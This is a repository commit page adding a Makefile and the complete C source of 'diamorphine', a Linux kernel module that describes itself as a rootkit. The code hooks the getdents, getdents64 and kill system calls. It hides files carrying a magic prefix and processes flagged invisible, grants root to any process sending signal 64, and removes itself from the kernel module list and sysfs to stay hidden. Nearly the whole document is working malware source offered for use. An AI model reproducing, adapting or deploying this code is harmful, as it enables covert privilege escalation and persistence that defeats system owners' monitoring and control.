Skip to content

Commit e5103ac

Browse files
committed
pushing the code
1 parent a1bea1a commit e5103ac

File tree

2 files changed

+319
-0
lines changed

2 files changed

+319
-0
lines changed

Makefile

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
obj-m := diamorphine.o
2+
CC = gcc -Wall
3+
KDIR := /lib/modules/$(shell uname -r)/build
4+
PWD := $(shell pwd)
5+
6+
all:
7+
$(MAKE) -C $(KDIR) M=$(PWD) modules
8+
9+
clean:
10+
$(MAKE) -C $(KDIR) M=$(PWD) clean

diamorphine.c

Lines changed: 309 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,309 @@
1+
#include <linux/module.h>
2+
#include <linux/kernel.h>
3+
#include <linux/unistd.h>
4+
#include <asm/pgtable.h>
5+
#include <linux/slab.h>
6+
#include <linux/syscalls.h>
7+
#include <linux/dirent.h>
8+
#include <linux/sched.h>
9+
#include <linux/fdtable.h>
10+
#include <linux/fs.h>
11+
#include <linux/proc_fs.h>
12+
13+
struct linux_dirent {
14+
unsigned long d_ino;
15+
unsigned long d_off;
16+
unsigned short d_reclen;
17+
char d_name[1];
18+
};
19+
20+
static pte_t *pte;
21+
static unsigned long *sys_call_table;
22+
typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *,
23+
unsigned int);
24+
typedef asmlinkage int (*orig_getdents64_t)(unsigned int,
25+
struct linux_dirent64 *, unsigned int);
26+
typedef asmlinkage int (*orig_kill_t)(pid_t, int);
27+
orig_getdents_t orig_getdents;
28+
orig_getdents64_t orig_getdents64;
29+
orig_kill_t orig_kill;
30+
31+
#ifdef __x86_64__
32+
#define START_MEM 0xffffffff81000000
33+
#define END_MEM 0xffffffff81fffffff //0xffffffffa2000000
34+
#else
35+
#define START_MEM 0xc0000000
36+
#define END_MEM 0xd0000000
37+
#endif
38+
unsigned long *
39+
get_syscall_table_bf(void)
40+
{
41+
unsigned long *syscall_table = (unsigned long *)START_MEM;
42+
43+
while (syscall_table[__NR_close] != (unsigned long)sys_close)
44+
syscall_table++;
45+
return syscall_table;
46+
/*
47+
unsigned long *syscall_table;
48+
unsigned long int i;
49+
50+
for (i = START_MEM; i < END_MEM; i += sizeof(void *)) {
51+
syscall_table = (unsigned long *)i;
52+
53+
if (syscall_table[__NR_close] == (unsigned long)sys_close)
54+
return syscall_table;
55+
}
56+
return NULL;
57+
*/
58+
}
59+
60+
#define MAGIC_PREFIX "diamorphine"
61+
struct task_struct *
62+
find_task(pid_t pid)
63+
{
64+
struct task_struct *p = current;
65+
for_each_process(p) {
66+
if (p->pid == pid)
67+
return p;
68+
}
69+
return NULL;
70+
}
71+
72+
#define PF_INVISIBLE 0x10000000
73+
int
74+
is_invisible(pid_t pid)
75+
{
76+
struct task_struct *task = find_task(pid);
77+
if (!task)
78+
return 0;
79+
if (task->flags & PF_INVISIBLE)
80+
return 1;
81+
return 0;
82+
}
83+
84+
asmlinkage int
85+
hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,
86+
unsigned int count)
87+
{
88+
int ret = orig_getdents64(fd, dirent, count);
89+
unsigned short proc = 0;
90+
unsigned long off = 0;
91+
struct linux_dirent64 *dir, *kdirent, *prev = NULL;
92+
struct inode *d_inode;
93+
94+
if (ret <= 0)
95+
return ret;
96+
97+
kdirent = kzalloc(ret, GFP_KERNEL);
98+
if (kdirent == NULL)
99+
return ret;
100+
101+
copy_from_user(kdirent, dirent, ret);
102+
103+
d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
104+
105+
if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
106+
/*&& MINOR(d_inode->i_rdev) == 1*/)
107+
proc = 1;
108+
109+
while (off < ret) {
110+
dir = (void *)kdirent + off;
111+
if ((!proc &&
112+
(memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
113+
|| (proc &&
114+
is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
115+
if (dir == kdirent) {
116+
ret -= dir->d_reclen;
117+
memmove(dir, (void *)dir + dir->d_reclen, ret);
118+
continue;
119+
}
120+
prev->d_reclen += dir->d_reclen;
121+
} else
122+
prev = dir;
123+
off += dir->d_reclen;
124+
}
125+
copy_to_user(dirent, kdirent, ret);
126+
kfree(kdirent);
127+
return ret;
128+
}
129+
130+
asmlinkage int
131+
hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent,
132+
unsigned int count)
133+
{
134+
int ret = orig_getdents(fd, dirent, count);
135+
unsigned short proc = 0;
136+
unsigned long off = 0;
137+
struct linux_dirent *dir, *kdirent, *prev = NULL;
138+
struct inode *d_inode;
139+
140+
if (ret <= 0)
141+
return ret;
142+
143+
kdirent = kzalloc(ret, GFP_KERNEL);
144+
if (kdirent == NULL)
145+
return ret;
146+
147+
copy_from_user(kdirent, dirent, ret);
148+
149+
d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
150+
151+
if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
152+
/*&& MINOR(d_inode->i_rdev) == 1*/)
153+
proc = 1;
154+
155+
while (off < ret) {
156+
dir = (void *)kdirent + off;
157+
if ((!proc &&
158+
(memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
159+
|| (proc &&
160+
is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
161+
if (dir == kdirent) {
162+
ret -= dir->d_reclen;
163+
memmove(dir, (void *)dir + dir->d_reclen, ret);
164+
continue;
165+
}
166+
prev->d_reclen += dir->d_reclen;
167+
} else
168+
prev = dir;
169+
off += dir->d_reclen;
170+
}
171+
copy_to_user(dirent, kdirent, ret);
172+
kfree(kdirent);
173+
return ret;
174+
}
175+
176+
void
177+
give_root(void)
178+
{
179+
struct cred *newcreds;
180+
newcreds = prepare_creds();
181+
if (newcreds == NULL)
182+
return;
183+
newcreds->uid = newcreds->gid = 0;
184+
newcreds->euid = newcreds->egid = 0;
185+
newcreds->suid = newcreds->sgid = 0;
186+
newcreds->fsuid = newcreds->fsgid = 0;
187+
commit_creds(newcreds);
188+
}
189+
190+
static inline void
191+
tidy(void)
192+
{
193+
// kfree(THIS_MODULE->notes_attrs);
194+
// THIS_MODULE->notes_attrs = NULL;
195+
kfree(THIS_MODULE->sect_attrs);
196+
THIS_MODULE->sect_attrs = NULL;
197+
// kfree(THIS_MODULE->mkobj.mp);
198+
// THIS_MODULE->mkobj.mp = NULL;
199+
// THIS_MODULE->modinfo_attrs->attr.name = NULL;
200+
// kfree(THIS_MODULE->mkobj.drivers_dir);
201+
// THIS_MODULE->mkobj.drivers_dir = NULL;
202+
}
203+
204+
static struct list_head *module_previous;
205+
static short module_hidden = 0;
206+
#define MODULE_NAME "diamorphine"
207+
void module_show(void)
208+
{
209+
list_add(&THIS_MODULE->list, module_previous);
210+
kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent,
211+
MODULE_NAME);
212+
module_hidden = 0;
213+
}
214+
215+
void module_hide(void)
216+
{
217+
module_previous = THIS_MODULE->list.prev;
218+
list_del(&THIS_MODULE->list);
219+
kobject_del(&THIS_MODULE->mkobj.kobj);
220+
list_del(&THIS_MODULE->mkobj.kobj.entry);
221+
module_hidden = 1;
222+
}
223+
224+
#define SIGINVIS 31
225+
#define SIGSUPER 64
226+
#define SIGMODINVIS 63
227+
asmlinkage int
228+
hacked_kill(pid_t pid, int sig)
229+
{
230+
struct task_struct *task;
231+
232+
switch (sig) {
233+
case SIGINVIS:
234+
if ((task = find_task(pid)) == NULL)
235+
return -ESRCH;
236+
task->flags ^= PF_INVISIBLE;
237+
break;
238+
case SIGSUPER:
239+
give_root();
240+
break;
241+
case SIGMODINVIS:
242+
if (module_hidden) module_show();
243+
else module_hide();
244+
break;
245+
default:
246+
return orig_kill(pid, sig);
247+
}
248+
return 0;
249+
}
250+
251+
static inline void
252+
protect_memory(void)
253+
{
254+
/* Restore kernel memory page protection */
255+
set_pte_atomic(pte, pte_clear_flags(*pte, _PAGE_RW));
256+
}
257+
258+
static inline void
259+
unprotect_memory(void)
260+
{
261+
/* Unprotected kernel memory page containing for writing */
262+
set_pte_atomic(pte, pte_mkwrite(*pte));
263+
}
264+
265+
static int __init
266+
syshook_init(void)
267+
{
268+
unsigned int level;
269+
270+
sys_call_table = get_syscall_table_bf();
271+
if (!sys_call_table)
272+
return -1;
273+
274+
pte = lookup_address((unsigned long)sys_call_table, &level);
275+
if (!pte)
276+
return -1;
277+
278+
module_hide();
279+
tidy();
280+
281+
orig_getdents = (orig_getdents_t)sys_call_table[__NR_getdents];
282+
orig_getdents64 = (orig_getdents64_t)sys_call_table[__NR_getdents64];
283+
orig_kill = (orig_kill_t)sys_call_table[__NR_kill];
284+
285+
unprotect_memory();
286+
sys_call_table[__NR_getdents] = (unsigned long)hacked_getdents;
287+
sys_call_table[__NR_getdents64] = (unsigned long)hacked_getdents64;
288+
sys_call_table[__NR_kill] = (unsigned long)hacked_kill;
289+
protect_memory();
290+
291+
return 0;
292+
}
293+
294+
static void __exit
295+
syshook_cleanup(void)
296+
{
297+
unprotect_memory();
298+
sys_call_table[__NR_getdents] = (unsigned long)orig_getdents;
299+
sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents64;
300+
sys_call_table[__NR_kill] = (unsigned long)orig_kill;
301+
protect_memory();
302+
}
303+
304+
module_init(syshook_init);
305+
module_exit(syshook_cleanup);
306+
307+
MODULE_LICENSE("GPL");
308+
MODULE_AUTHOR("m0nad");
309+
MODULE_DESCRIPTION("LKM rootkit");

0 commit comments

Comments
 (0)